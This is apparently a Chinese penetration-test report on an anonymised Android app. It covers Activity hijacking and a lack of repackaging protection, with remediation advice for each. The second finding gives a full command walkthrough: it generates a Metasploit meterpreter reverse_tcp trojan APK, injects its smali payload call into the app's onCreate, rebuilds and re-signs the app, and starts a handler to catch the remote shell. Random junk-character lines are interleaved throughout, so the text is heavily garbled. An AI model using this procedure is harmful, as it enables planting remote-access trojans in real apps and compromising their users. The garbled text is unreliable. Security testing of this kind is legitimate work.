) G1 y0 j$ g r- V1 J( Z: h
" v. n3 U! s; Y0 P
! v E7 \: d$ j) V: h 表1-2 测试结果
3 j3 a# @" T8 B5 Z6 H0 Y U
5 a0 {* F7 u+ b5 V
+ E3 C, m: _: Y+ }9 g7 Z2 a0 Z/ q
9 G3 S% [6 l; @* O6 r/ i; e$ K+ t1 l5 D , J* ]! Z6 E) s& V L; y6 W
+ n" P7 f2 |$ t# W4 b+ \$ |6 o& M" A , M$ T8 G8 }( S: J$ [
' m! z$ c: w! L3 X7 @/ T
# F3 T; v* A' h0 v5 [/ u6 W
) q9 \0 j, H' m
$ _0 f7 n) x% t( l, h
Z( P. f( @5 p% R; U 2 检测结果
! }- y! Z( m; f. ~ j
& G1 e6 e, p: R+ \1 x, d! j
4 O% ^" i% ?$ ?% s i3 E& c3 H1 z r" |
+ w3 a% |) ]# I2 E! U. L' Z" j
# y; K T7 c& Y$ u% f7 a 2.1 某某某 % o$ S1 |4 v% Z) }6 O8 K
5 m+ i; R, j& s2 h) _
6 D9 H t3 z: n0 S9 T
; m1 {( W5 N2 B' t6 @6 h! d
' `0 @% m. \# k4 ]: g
6 A* l% z- R) }: e 2.1.1检测目标 % q4 W" E7 X# d8 h8 c, R) T( w
I8 \# t. L( X$ z7 Q8 r& }
+ t7 S- x+ Z+ }/ Z6 M0 ?/ l5 I* r
0 e; g8 l4 v2 G; f% S6 c
& {& K' Q3 y5 z1 ^/ f @
! G5 Z% S3 w% z8 _) M2 `$ c 目标地址: 某某某某某某APP
5 q: p7 P0 C8 M' X* |2 q, \3 g; y4 U7 C, H6 i0 \& b
" k9 {/ e+ M3 l* ]! F
6 L" t' G- @& m6 m' F- J4 v
/ r6 Z5 y8 B5 _: n, z+ S; C( D- N
. u0 h N: }! C7 w9 l L 2.1.2检测结果 * j l' Q! u/ R) c$ y
& |! d; D. `% I; [
- O0 O0 ]6 [+ B" Y% \- ^
" y. R5 l( [5 O% Q. S+ v0 V
( m* ^/ R3 m8 g$ V* _
6 b! H7 @" e5 C; ` 2.1.2.1
& E! ?8 r- _: u8 i+ L }: E: n/ q; l3 W' W, }7 k- `! R8 I# o+ Q
5 [. L$ I2 V) b4 f) e8 q+ z8 J" A1 c) O/ C( T0 y) [
0 Q0 R0 \3 I$ h# C. n
1 ?, ~" T5 P2 J9 B: L& M" t 漏洞链接地址:某某某某某某APP
, S% }# y8 j9 D# _+ h) F- @) V
1 ?/ Q/ q9 s5 T! k. r9 c3 W
4 l7 |2 _! u: D0 I5 b& l) L" f
6 W, i4 a& C! Z+ f
0 g4 q1 k3 ^' s% Q/ ]5 `' B3 m& J/ ]* F( i* K+ x% m
1 y6 j7 L! W N/ [
; v+ B% L# t, ]+ _3 K
1 ?6 @4 }# h. c' Y, D
- Z4 A2 j$ }( G+ I4 c5 T
) M# H, h5 D! r
8 P. A8 P( P6 d% S' L) _+ t) }, h 漏洞分析及取证: 8 ?. |/ m+ ~) v2 [
8 `# c. a5 x: B+ V$ o1 ?
# H: F* X* U3 \! |6 E. @7 V, x1 z/ M3 c' m @
1 @) x' |6 T8 v( X, S @! T) ?
# b- {9 @2 Z0 r# \0 ` 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
* G7 H' ^4 L8 T+ |! }( i E+ {
/ m& Z5 B. J/ `) H; t
2 c2 r. x. O; g7 m
% j: z& i) t4 X7 u m* p & T2 ]9 r m! @4 R z3 m# N" J& H
% M2 l0 D" w7 R2 P5 `7 V. R
+ C% g+ O1 g' q1 t4 [) o( j: F5 F; I% \1 c
E( \1 w; d* W3 O& c
% T# F0 X$ j# J 4 W8 Q, @3 N- c$ [% \' E
$ ] |+ x) S1 o4 C: V5 Z: I6 n
' w8 N$ @0 d! ^0 A
^8 F' f( h7 ^3 a& o0 l2 N$ j& y
; K, J' G# n* X2 ]# r
\" _2 O% {% S1 |. ~- X0 @ . t: _; C7 C$ P8 e
3 I0 d9 {! L+ }3 O4 G& j) v
) |0 Y' n3 f% u1 B
: k9 l0 r C# L' [, f! R$ |
5 Y# @1 M0 V% b! A
& S& d# u# R' _8 l+ k0 I
: M5 P( U. l7 J1 l& e7 B
6 m) A0 Y" K9 i
+ ?/ e& l1 N4 G- U& b* C D5 o4 @( A t$ n
. ^& U7 y# F" _5 G2 V) t) v" K; r2 B
, o; o3 O( ~( k1 k. G( T! c$ Z$ e9 K* b) D# [
9 `8 e7 H; f' b6 A% o& r
% k. z' H R+ b. ^! U
6 Z+ Q. C5 A! @1 o0 o0 v. C1 u8 i$ ?3 E# m$ a
+ V& X, }/ Z1 g, Q6 d4 p
' Z. T2 j, {- e; L% j& E
9 R' \3 |$ ]' t: X% e; Z" ]5 \
1 j1 F0 @: G" V9 L4 L 漏洞危害:高 4 w: ~ q) @% o2 P6 V
0 q1 O) g1 y) @
9 V: }9 e2 E# M) P2 W; B. U
' o. y7 M, j+ u & I" f! f$ r$ U4 h% v: e" b$ t4 ?
' n( I+ d- W7 m! a& E
2 N$ A n/ f) h) L) B
+ C( x7 C& `3 ^, e2 V/ Q% u
/ q7 d0 k. c% ?
( T. X% y2 b \8 s/ ]
* {2 N0 X5 @& w+ n5 @+ }3 s3 \. B8 e( p3 E
' i" t) V) {1 ^
0 g" a7 f3 T @' R. B
' M9 A5 d8 z0 a3 ]" _" |4 [1 n" a! ?8 u
严重程度
p0 O/ u# T( o& _* H- e& ?6 j! o1 K) I0 U l C+ J
$ r7 X9 ]5 n# T5 p M M" ~ B3 @
. r- _, z2 l, u/ { | $ }8 \; I3 s! k4 U& p4 C
+ O- t. S% R4 ~4 j9 b
, t8 t5 o. A7 p7 h9 c6 F3 ?9 r% h# m$ E# z5 a2 n$ o. T2 U. U
- n* U/ E6 r# M2 G+ I+ l
" A( V9 [ O" W/ T4 _" E 高
" m# A( r8 V) @3 w2 _) u5 Z/ n2 G. W. v
" L4 n* _% o8 c+ Q! K" |3 @2 g
3 ~/ K1 o5 D! U. k3 k |
3 q' `4 w6 ?# [" D0 k+ p1 q4 ?
6 H; }5 l* F; c$ D& s/ r
' [7 z' y. Y" }0 ~% j( n$ y, m! p6 ]9 R
+ B6 K1 R5 N9 p$ ~& B0 v$ i+ L9 ~7 P" h% i
■
. s' N- z3 z2 f6 e/ ~8 Y: q1 }3 s, E
) P6 h" A1 D3 c1 Z" _
6 f) b; a0 s: Q! A5 Y$ {: W |
/ }# A5 ?, N8 W
+ ?, k& r4 {' t. Z3 F/ Z. F4 u% t; R# x 6 U `# w) k; b* x
: v! u6 B3 E! f. m; B/ N) A- X
/ a# p. F1 g7 {: \) ]) I3 z b! k# J! S9 a" B, |( Z
中
+ I0 a! x( b; k" M$ s+ ~. y$ r. X* B. p: X
- A' Q0 K& j" u( o
8 }: i# |8 W% g3 X6 p- U | 8 Y* H; W' s2 p' z' s
l2 Y/ R' U* [$ `, J! H " E h0 Y9 O( D _" `7 d2 L
. H1 j# u+ x3 ?
1 K9 l; t) A, s* l
4 F3 d3 @7 c; F9 J
0 {1 g/ A- W' W- e5 l; V0 A1 n( |, d. I
+ s! n, X# g! N" G4 L0 |
- R6 D6 b% O6 i% b
| & M( E* \7 Y6 E T
6 }" w3 Y, [4 R% M- d
- w. {! g5 n" ] M* H/ P4 G; a, ]* x3 l
: N/ t R: V% ?8 Q+ O4 F$ J
6 |4 t5 ^+ {4 G6 {( c2 e8 H; ~
低
" o5 R8 [* f$ M7 ^, R n
' v+ ^/ y; f$ p m9 o" N
+ I w2 V0 Q' a; l" p; M" B9 }9 G' _
6 r; _3 a0 x3 Q* x( f | 6 N1 T' f, S' Z0 B% u* c A6 t4 l
8 H% O1 d' ]+ {1 S* A$ U
( c# M: h S3 W% j0 ^6 B
5 N0 E* f# \; H0 t; ?8 ~
, P& p. E7 R1 t k+ @1 a A4 i5 _2 a. W- F! S% d
0 c% V1 f; V% w K+ W
3 W) `) F' C) P+ E$ _: G
# m- }1 G( H. E. P
+ J& m0 N. O! `* Y& F |
8 j3 j' w: P& h; ]
' \" w' o% Y* p' A) y* a! w/ z; Q
( E) u& i8 z8 V, r; |; T# R7 U
( @* `7 a1 {: M( M: k
/ D7 o- v) w# T4 w
& X' i1 D8 h% [) f( m% w
' e* W( g) G% i" D( p2 \
* h& ` {/ D1 r0 b6 n
- A4 u2 C* j! [
w, u4 F+ E: k+ r! o; }% ~
6 p4 V/ U' k2 I: V( A: j- L$ C; z+ L. v S) }8 _! U
. x8 M* G" M. M; n3 z7 N4 B- Q& M# _ y) v) l0 }. ~
. Q9 ` t; s5 O A! S( Q
# Q9 p0 B$ _4 o) T. { ! N0 h8 F- M0 n
4 o' u; w2 _ Z% M0 P
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 9 ]0 K# b' p; Z
4 C1 T8 A. i2 {- `' R8 M, d3 X
8 X3 ]) P6 p% z u; |: n
) P; n% |9 W1 f/ W9 z
* d" y! [/ ?8 X5 {- K
& E; s* m* J, P3 n4 F/ M8 ~ 3 R9 q @( E/ v) }* A
$ Y' z: G- Q( F6 i+ n% p' I4 k
. s9 d* h& |) L) V$ {0 ~
6 X' t* K D* E- E# Y2 p) X
0 y; U; U" o0 R9 c" t
( R5 l9 H* [& a) J: J& X% @! Q
' y% V1 Q0 g- \% O" k$ e6 m
" a3 z4 R# I8 @: b/ F' \ ?: i
+ Y0 q' c: ~- i) c( G
& W* g" n) w0 L. \
+ ?' A2 S; w8 ]3 T8 ]6 L
. K `0 {9 k; O) N- Y1 Z: Z" F 2.1.2.2
, T N" r; V; ]2 }! q
+ d6 @8 m# z1 E! f: L; ~) B
1 }2 \" F1 P' r3 h" }! X
+ \! R' N1 j% w5 }. I7 c0 t - g6 g- d: M3 k% Q5 ]. F f
) W' f) J, b( |- S/ y
漏洞链接地址:某某某某某某APP
! t) a6 P$ Z4 |! M2 o! {2 m+ i @+ y' U2 b: Q! ]
# E6 h) p, a3 o+ U* y3 F& d
( A5 n5 k0 |) q' x, M8 Z
# j' e6 j& d, o+ Z2 Y; N
2 h# I% [& n+ H% B/ T P 漏洞分析及取证: , H: C9 A5 a1 ?, ~
1 [" x+ w4 H$ ^, W3 Z5 N K1 J
% m ^4 _0 g6 `+ \* m3 r* q. F/ L, p: c( }2 H1 T
* ]9 T+ E, K6 E
/ ]( ]5 s5 p7 h, S, o- J b
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 3 m! R& _* t! _4 }' |* E
4 p5 M* b+ {* z! H! |
1 f. v# Y: L' Y8 W$ {
) ~4 B+ A: q+ l" _
6 \, j- K) l: ?3 i) i, L
+ B! j7 j; M9 ]! u$ s5 u 用Metasploit 生成木马 apk
8 h' r3 [ b2 _- F M( B$ z0 \7 J# D# R5 L2 E4 @+ O5 b! m4 ~
4 y4 }$ |/ D0 K# a9 L6 V
% d, a/ E" Y" z( O$ i1 B' N6 v
$ T) C0 t9 F1 J
6 J% w5 [! j! `! @3 x msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk . y4 {' b: k% a+ u
5 M6 |/ U" E+ U6 G& X
" @0 E& H. P# u% i8 |4 c& ~0 P) m
7 W! ]! g0 J3 d7 F2 C- V6 l
. O# P& \! _5 f2 W& a8 T$ u
) b. {, h c) }, w, P 反编译目标apk和木马apk X% A Y3 E8 Y2 k
- L2 L/ X7 ? O N& L5 |5 o
: P( d8 |% M, |* f! i: q0 b k
* @4 |" u$ Q- b; f+ t' f( }
) C; k: n4 g l8 X
$ V& p% b2 |5 ~% V! i apktool d target.apk
* \" u {. _9 g; y6 y; F1 o2 S4 r1 V
apktool d cockhorse.apk
6 @) y) \+ r0 Q9 v4 D- r* b& y8 s {$ C# |* Q! s% U+ N. V2 g4 g1 r2 r
0 H; r2 R7 C; K0 [; ]. A) W( x( s
) Y9 K/ ]4 G6 J0 U) z9 w1 H6 i
% S7 R/ q1 A) U! t
6 t& P/ y& T+ H2 }. j2 b1 T 木马 apk 注入目标 apk 4 c1 k C9 y/ }
: G7 b$ V) B" |) r: P- C
3 Z5 K6 Z% n) c3 a- G- ]
( }0 M. h3 o7 k; w" f/ |! z
; l7 {$ N& C6 }+ \' q, ]. o) z, o0 t4 Q
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 T* X$ i3 [# R" r. t- E5 W7 X2 l5 C6 c$ b) z; l
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 5 d5 {9 [ R& F# L: S
- v, l. m( ^1 ?+ T2 M% ]2 ~
9 p& ^# A2 N" r, f$ u0 Y: [# v! t+ U" A v ~
1 j9 H+ T. A: L9 [6 c, P( z+ Q$ M: q! [3 n$ V) {" c1 J
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
6 C5 a) l* p+ f8 C, B, `
! S9 A# N4 d/ T, \; X- Z( N1 Y
* {' R9 _8 i- `2 G7 H
! N2 M+ c2 X, H# {; L
" l- d |; w! Z8 }/ G: j
) k" a( _: C4 m1 _ 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 # k# t3 A8 g" g0 A# L5 ^6 H
# _; Q8 S% h- M3 e- k& q) n
7 m% \. G; x9 R- N. L( O; O6 W
& O6 A$ e! V1 \7 J! S
- ^+ m1 c0 M2 D6 X+ l; ~
* a4 H( Q0 O0 C2 R+ |/ a1 G 回编译生成最终 apk
5 u0 Q1 X c6 f& s4 d2 i5 H
3 T8 m Y% ~2 M
4 U) l- Z5 w! y3 [
. p$ R! }2 l" [: [0 a6 F7 O
" c' b' ?% P8 Q2 Z8 n) Y$ t4 n/ k# @ R- H0 U# i
重新打包 - W9 N8 E$ G7 W O# d
* m8 V* I- l4 b5 u' S4 b" N7 |5 C
. Q/ A- [' F4 {! s N/ e
) `% `! B z0 E# g- A% }
1 W4 R8 r$ W' O0 ]& c
; I6 s `7 }0 A W apktool b -o repackage.apk target_app_floder
! c* ?: y% ` H
. W L& u3 L# P- ]0 z' C. o1 o
) N5 Z; q3 K! P# q
- M1 ^" j* F' K9 n
& S0 M5 @6 n5 Z
- F! w% X) ?- [6 f
创建签名文件,有的话可忽略此步骤
" C! O9 M' Q- i; V8 B
7 V8 q8 T) j0 ^6 X, l
$ {# p* n0 q4 l, m
$ B6 _) [% B( V
3 {; p4 g: Z2 ^* b: b6 I$ @" W
5 ]( @% e# n' i! B& w- W1 l keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
# T+ a6 _: T$ o8 {! p
" l4 v S/ b& J' B
; {# q0 S) X% u( v9 t; t# w
3 y/ M$ F- a# x% Y 4 i( {5 Y% W1 r: P2 a0 c7 i! g+ E
7 }$ K" r5 @. S5 z0 k
签名,以下任选其一
% e4 v( O0 T# l2 ]' R6 s; k0 A5 m! ]0 g" e) j1 E
5 O' c3 {7 P5 j/ G$ _3 y( R$ S# I. b2 H$ A7 d2 [8 P
; T" C& E D; V( `4 H( |9 h' E I0 s+ J
jarsigner 方式 . y) }2 Q4 L5 g' z% U& u: \
6 O& M F1 b o0 A2 G4 N, x! d
9 S$ Q/ x2 k5 q @$ F/ j3 c& i' F' ]" t
4 W4 W7 r9 l& b* g3 ^9 p! @. \0 H
& y* C' \" v/ l$ x$ O8 I jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 7 ~5 y: l2 ?! M. j7 [1 |; p
P. c2 b% v! Z! A5 S) h( \, N
# {1 [3 T* f2 o$ L) Q2 F
+ Z2 |3 ^7 J1 c6 l
) C- k5 Z. P6 F* ]/ _# C
* U G- e- [) J: z apksigner 方式
- X o3 j, p E3 q1 u+ O0 {) o1 r( x
5 k; i% V' A- N( ~+ A5 |, O/ I
" l3 R; ^( O/ p* n. T$ f T ) F5 x6 h4 }, n7 @( x G
8 F* w4 y$ a9 y: u& O$ t$ p7 h
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk : Q5 g3 i9 U; ?" h
* _) X0 q2 F4 B! o7 \- {
/ b1 G( v+ E$ s# r- C
- e& O1 H* h4 C+ V' D5 b # M4 H* @+ H. n3 _9 s* T
3 l% n9 {5 q: Y! N" @
如需要禁用 v2签名 添加选项--v2-signing-enabled false ( L' ^" ?- y% L9 b! E/ ?
. t& _2 J" e8 I' X% B8 X) C
. I; @6 f0 \( I- b% f* u$ p. Q( q4 J" I" d$ f( B+ V6 `* [
# g6 T- m4 z+ G6 [2 J
5 E, C$ Y3 L% E' D2 C: `
验证,以下任选其一 ! X6 \- e+ ^. O
) \: {8 a7 D2 j' {9 W) k
( T: s0 Y* ?; Y5 ?. n
. z" a+ o0 P* l2 y) \% n+ P2 L1 ~
; n% D1 O; J+ s5 f& z3 F- f
" \3 o4 Y5 q. m jarsigner方式 f5 `* S" t: b2 X
( B l/ h: T& J9 F7 r+ a
% t( |: [( I6 [) p9 J8 h: s2 l6 F3 f# _5 O
* J; H! A8 x! X0 K3 a$ F3 K" B, o5 A, R
jarsigner -verify repackaged.apk
1 w4 I1 N& @& r) W) C; n( |! B" S, w- H |$ m. b, S7 p: I/ ?. u7 D) T
; w% P$ j$ d4 ^* J' d; ] K
+ m2 F6 ~8 g, I) ^) l
: [$ S7 o" c8 q# R& u" t/ y% Y0 N
; g# T: o6 J5 v2 H# n% y apksigner 方式
- X9 v h7 a! M
) Q: n; s' N" J$ R
, |2 u8 f- j9 c& L6 l9 H
3 b( i* e4 h) y2 \1 x4 K3 }1 x/ [& I
+ i# S* w+ I8 @3 L6 V: m
3 w) t% `7 k- h$ p4 { apksigner verify -v --print-certs repackaged.apk
. |* e! @( S% E/ A1 b6 u
% e d. p, B( g) H/ U9 {% z- v
$ f2 I' r: B( o
7 E y) @2 T2 H% K9 J) s0 U2 u
" o" ?/ I- {1 {. k
% }. x# I& v4 Y; S u keytool方式
; g- m% v1 B9 n6 p6 y5 L( O) { |1 q1 j8 r) k) R" c! A( k
6 V& V0 @- ]' O; e
+ i( ~( \( G8 [, v# F. Y* M
; @+ A% p- Y1 ]* R9 `
7 D! [* i9 H; Q7 |( W keytool -printcert -jarfile repackaged.apk
$ z+ r$ U9 Z+ h$ L
! i5 H. k$ E1 a* g. |' @! I
/ ~# W- @8 ]! \3 y. a7 y4 _2 u+ S6 n( N. g6 U: x; d( t
6 P/ T3 n/ {: y8 ?
& C2 I8 @( I9 c/ K0 _" j 对齐 + {4 r& j5 F3 l- h% {
& w5 P1 n% s1 H2 h: [6 ~
9 t$ Q) |7 @1 H ?
0 g; N$ {, R- P
2 [4 `4 m, q" Z+ Q: R% h3 T- e
3 @! S% a5 V7 N8 y# E 字节对齐优化 4 e7 P5 {4 E6 m5 A& v/ ]$ E
. \* [( g& H/ l0 ?
# k9 @! w2 u* Q1 T4 y
7 K- |" h3 T9 E% o$ |4 T: N L# [* j
# a4 H, h) j0 P: _& E0 e+ {# }% `4 }2 L6 T+ I) {) K; L2 b! O
zipalign -v 4 repackaged.apk final.apk
% J; W( \6 I# L
0 s% j, b$ ? M! o t
1 p1 R2 Z' |' y! [/ B/ I0 B+ X# R6 b. I% |' O5 H
0 i( {% c" d- [) W( E2 }
& g) F$ Z' K$ q d5 @ 检查是否对齐 ; N1 A$ c4 @7 e0 Q$ R3 m
# i) |- B% h/ U7 c- a L, y0 j. m/ \
( k7 I7 |# y) s0 b- y2 |1 x" M+ J1 I- e6 H0 o9 @4 P
$ a, F( t" k6 i3 {& v9 ^( G$ y
: y9 V, W$ n* e( C9 `8 h
zipalign -c -v 4 final.apk
) m9 p+ c# }( K- D9 I! a7 c3 y/ F% R: v& n+ [
; d1 k" e; c% }+ ~0 I1 L. Z! n0 o L0 A0 l9 q( c' c' c, X
9 M# K5 S, l6 m9 Y1 z, l* Q* V0 Y1 K- K# m: f: m0 b3 F
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
- K, M! |# e3 n5 s, }. k1 `9 R- X! H0 b9 l3 K& x1 M& A
$ h( }3 G9 N7 P. O# p' S
# b: q% a6 A3 x
2 K5 ~/ I) \+ _/ s# D5 k
6 O/ b' @, Q( L1 `; y0 D 启动Metasploit控制台,配置参数等待上线
5 n/ n$ M; l: r2 s8 O/ x* G
* E8 i+ F. c; i7 M& w3 \" S8 {- [
) J# l2 |) J2 D# o. i
. k2 B' M" {6 q6 @9 w' n- v
( m8 x* o; |9 K1 e3 B/ n
% q, d0 Z- Y3 s' w1 n 在终端依次输入如下命令
; {7 ~5 ~% M" L t' S: K. h3 A# l; A. q( k
7 X, P' l( J' K; W4 i
/ E. N4 p/ n0 \2 E4 }; t; y$ ~ 7 C. ^3 a. \3 \( L3 W
7 e5 d7 T- |8 N msfconsole
5 |& n3 H% }; E# a) B: h
4 O* x; M# w/ V X/ I" Q
; m0 R, J; c0 O2 B( }9 E j
, [0 `9 q. q0 N! D; J 0 {' w" ?* A( g% a
' T, N! {1 t0 h# ~
use exploit/multi/handler
, N3 P2 P# q. p" a$ f
: _* C0 Q6 L' N3 |. F9 p
5 m, G J% N: H5 f
6 z, }) L9 L3 J " E. U, ]3 M- K
$ b! ]7 E3 } D0 h: w set PAYLOAD android/meterpreter/reverse_tcp
( x% J' h$ P4 C' Q" d
/ c, X" A! e9 ?! B/ W6 [7 M
0 w3 h% s: ~# v) w5 n
/ s: d8 D" X3 u6 u- y5 _' }
+ }. e, Q. m4 V v, N4 t# X
& R9 P8 J' k% c- @! s x# O+ [7 E set LHOST 192.xxx.xx.xx
! n$ C( q% E# r
8 L5 ?) s0 h1 n
% y$ d+ V( L7 I% o0 f' Q6 `) h# I
4 B+ }0 A3 r1 Y6 R) z, O8 v 0 Q( H2 D, e& b ~7 I* t, J; s' ^4 X9 m
$ v$ H% Y( c, S* B! h
set LPORT 4444
7 @' ?0 [- p5 B4 K
- U6 _/ ^6 f! q1 Z" t( `
) \. y7 h+ ^. u# u! j. i; d8 r4 g3 z
& A+ c5 n& c! C3 x# I/ C
/ y1 c! f2 x7 W9 i' u2 [ exploit , K. L- d# d, D5 l, s7 i( P
* L. g( n, W! {1 E/ l
$ w* H R$ M/ g ]
6 [& G$ w5 a% ~% K8 o
) R4 R) D0 ?' G8 O/ J f" u% E! r l
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
0 r5 z% O5 y: M: u
1 S! m( y p: C6 O$ U
7 t0 @/ S! v7 {# R0 P2 O
m$ M. ~7 c/ Q + |& e* `1 w' ^1 F# h
2 h$ _7 {/ S: U 漏洞危害:中
0 C5 {$ n7 a, ^+ o3 _
( ~7 p- N; {1 I X8 t8 \
8 `& u! I O" D3 y5 m- [! K2 K4 E8 ?0 v. [" I% X
- ^. c$ i6 M( R9 `4 m# h- l( b
$ m+ G/ Y* V$ C; q' G
8 N! n1 p4 K6 F& R3 {4 O/ ]# O3 q# U \4 `' D* H" E
6 u( A; r( l& H( O. A: q& c) S7 \' r9 Z" f& y b
6 k' V: r8 G' e
. J0 _0 R+ \% D( I$ @/ G3 A. p4 k
& C* X- t Y* x0 l6 q3 r' S7 v7 _2 D0 v% c. q
% y3 R$ [0 Q9 V
8 n# S( b( I0 X% ]& T
2 V1 A) y* z$ I4 t% b/ N6 D% b0 P6 d+ u3 |3 Q
严重程度 5 ]5 R, G- s7 ]- R9 k* q( X4 P
, ]6 n. c3 K3 e" C3 n% r) u. r
) ~1 y& e+ N5 C
- P! P4 ?+ z; v; n& s+ q7 R | 6 k* b" o3 x+ D1 A- e9 S7 r
. L2 H5 @* \, ~. v
" q b/ W& z% l9 A/ S8 E( R2 E6 |2 v( l& F8 ^! N( O5 q6 c& ^
( a: u& A7 b. W3 \" T$ \
2 p+ D4 }9 ] n$ t 高
, c; Z3 ^# M7 D! X+ k: l' I: e. K( |# o- Z, ]4 q2 [
1 @" ]0 w1 n6 |2 n+ V
$ J P; g. d. w% ^3 k5 c |
. G* O5 N1 K& Y- X/ i, r
0 M4 E: n0 l* v- j! a# m/ e k/ m% E8 D: ^
# V$ M# B2 e4 y) V, V+ m6 _ + _* z- t2 p. _; T
3 \8 R7 W8 p: k3 Z5 h ■
; z# l1 B% X- Q4 t! Y* Z! t4 ~# Q5 ?
) R- o% v0 K1 Z: E. V q3 [$ {! i- C3 L9 Y( C# a& r
| * ^7 j' k$ W; @3 Q8 e( ]: }
6 ~% F# W& Y$ r* @1 _% X( V
. ^4 {) R) K+ k- f8 _! k3 h/ v
1 i: J. {3 i8 A# a! b- ]
0 ?5 t1 C/ i* ?" a' a9 H7 ?9 H ?1 X2 R/ q
中
* e. \/ j& d3 Z6 M& F8 s+ E8 Z4 {0 p& h3 V, H8 H# s1 w
3 C$ q* _/ j$ Y# S
/ @6 H7 U1 ~7 d) t" D( G) ?6 X& ]
| : h, v2 [* i8 O2 @ T/ _3 u5 P
" w7 l0 X) ] N* H7 D9 [" a 0 v% }6 R' r* f! W+ {6 w% j3 a
- R+ M2 i6 |) |5 i % _* R' }. b1 q0 v" O/ Y
3 v3 e! W* o* }0 a# R* Q4 V/ t
7 H, u k- x0 C9 U1 U) [" P" v
1 ?; s( I7 k* z- h5 W) X
- {- K/ i7 o+ a( l
" z( ~6 c/ h8 K0 q8 S2 @ g0 l: r/ M1 S, d" B' q
5 R7 r) S0 g3 Y+ S
|
. d# P! D, \. R" i+ g R y9 @5 B4 @
7 Q" d7 d; O9 r6 {- k
/ H- f/ @, |: ]
( J, q# U F3 ~( D" c4 T( M9 D
; v8 d9 W: {; [ 低 # h4 P* Q0 l5 m- }
$ W* B4 ?4 Z* \' r1 i! {: R! Z * E- F( ]9 A7 E) ^! _0 w1 O( g
1 \' E6 T2 q/ m& } h5 X
| $ S& C' E% x7 k/ e3 O0 W
. Q3 v9 c. b4 c/ X1 Q# b / V0 P d4 i+ s2 a9 O* @
. k" r, D+ D; S2 ?4 I
; A# H9 C# L( W9 [" }& N" Q
$ B0 y3 `7 C* x
' q* W" k; h9 }7 G( N C
|) K, w% e' Z* W$ D
$ b7 \2 L4 j* b/ e' d8 X) ?" ?
5 D" o. k# C7 x* Y% U+ U1 x4 x- ] - ~" m: i" w8 u g
. u, A1 g; M( \# `4 e. ~+ m* s
|
- F. }' X/ d# Y" i" z! ?) O6 a7 X. j& L. Q9 y$ ^$ f3 k
( d7 b' t$ J8 t" A& m4 G
+ k' N3 u+ |0 v1 U" J
: @) O7 E$ T# v4 F( G! }
9 ]7 o2 B9 m, F# N
9 q' ^2 X) \ j
% n# q; Q; a9 {; w) V, }* V& ^
+ |6 a# U+ C4 Y( o; Q9 u
m3 t. S" v$ Q - \4 `' |1 s( j/ S- q1 n
+ w. ~. v( @! x+ S2 b5 S! R$ Q( Q9 ]% ?
0 J- [8 Q) T+ q) I9 v
# u$ F% i. C) M1 V* [) v; {
* q$ f4 \3 s6 R9 ^: }. a- c; ^6 c2 p6 ?5 t5 ~+ U9 ~6 q0 _/ |
* ^% F* G3 d( W( L ~- F% r
, \! f; u1 ]/ e" U# [+ r
修复方法:
. _, C. z) b$ v" x0 Q- a! g) q+ x8 ~3 l
& e; f! Y& p: `' ?
& J& a& j0 b/ D8 s 8 \9 F( J2 ]/ D( `# M
) u( c1 s- e/ Q# w, N" P$ L8 N: P
1.在 APP 启动时应做签名校验防止二次打包。
3 Z4 Y0 ]4 b6 b6 L
" Y+ t+ O* w5 M2 u" N! A+ v5 y2 z
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 3 r$ g4 [) @1 Q
7 T+ J: W8 u5 L* n
@' U( f. W9 A# X! G" q
: u1 R. ?) v# r. x
: _. N/ P3 b% w! @& n: H1 u$ d4 P2 N7 `+ h; T
, ?% R9 M: x' j5 d7 Q" X6 d- h+ J2 w! v/ o( z# o
' Y# ~% W- b) ^
; Q6 r- G: A4 f2 P" o
0 I$ x3 |$ \3 p+ `
" o' s1 l; s, m3 s
S8 N8 n4 i. E8 s. k1 q! ^
5 B. j4 j$ S9 K& o' U! V
3 R5 x4 N3 v H. d6 J" z
, a' M& y5 n. c+ [# n3 t
4 G0 Z3 N! i* N" j+ d4 o! e" G( S" J" a
3 Z1 |7 i3 C1 ^- x- Q4 d# z, k
& S% O9 O! j( L- y) {& l1 B- Q